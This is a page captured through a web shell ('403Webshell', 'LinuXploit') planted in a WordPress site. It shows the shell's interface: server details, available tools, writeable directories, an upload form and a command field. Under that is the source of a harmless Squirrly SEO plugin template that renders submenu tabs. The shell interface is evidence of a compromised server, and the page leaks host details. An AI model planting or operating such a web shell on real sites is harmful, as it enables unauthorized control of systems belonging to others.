403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/squirrly-seo/view/Blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/squirrly-seo/view/Blocks/SubMenuHeader.php
<?php
defined( 'ABSPATH' ) || die( 'Cheatin\' uh?' );
if ( ! isset( $view ) ) {
	return;
}

/**
 * Menu Header Block view
 *
 * Called together with SubMenu Block
 */
?>
<?php
$cnt  = 0;
$page = SQ_Classes_Helpers_Tools::getValue( 'page' );
$tabs = SQ_Classes_ObjController::getClass( 'SQ_Models_Menu' )->getTabs( $page );
if ( ! empty( $tabs ) ) {
	$current = ( SQ_Classes_Helpers_Tools::getValue( 'tab' ) ? $page . '/' . SQ_Classes_Helpers_Tools::getValue( 'tab' ) : SQ_Classes_Helpers_Tools::arrayKeyFirst( $tabs ) );

	if ( isset( $tabs[ $current ]['tabs'] ) && ! empty( $tabs[ $current ]['tabs'] ) ) {
		foreach ( $tabs[ $current ]['tabs'] as $menuid => $tab ) {
			?>
            <div class="bg-primary mt-5 p-3 tab-panel <?php echo( $cnt == 0 ? 'tab-panel-first' : '' ) ?> <?php echo esc_attr( $tab['tab'] ) ?>"><?php echo wp_kses_post( $tab['title'] ) ?></div>
			<?php
			$cnt ++;
		}
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit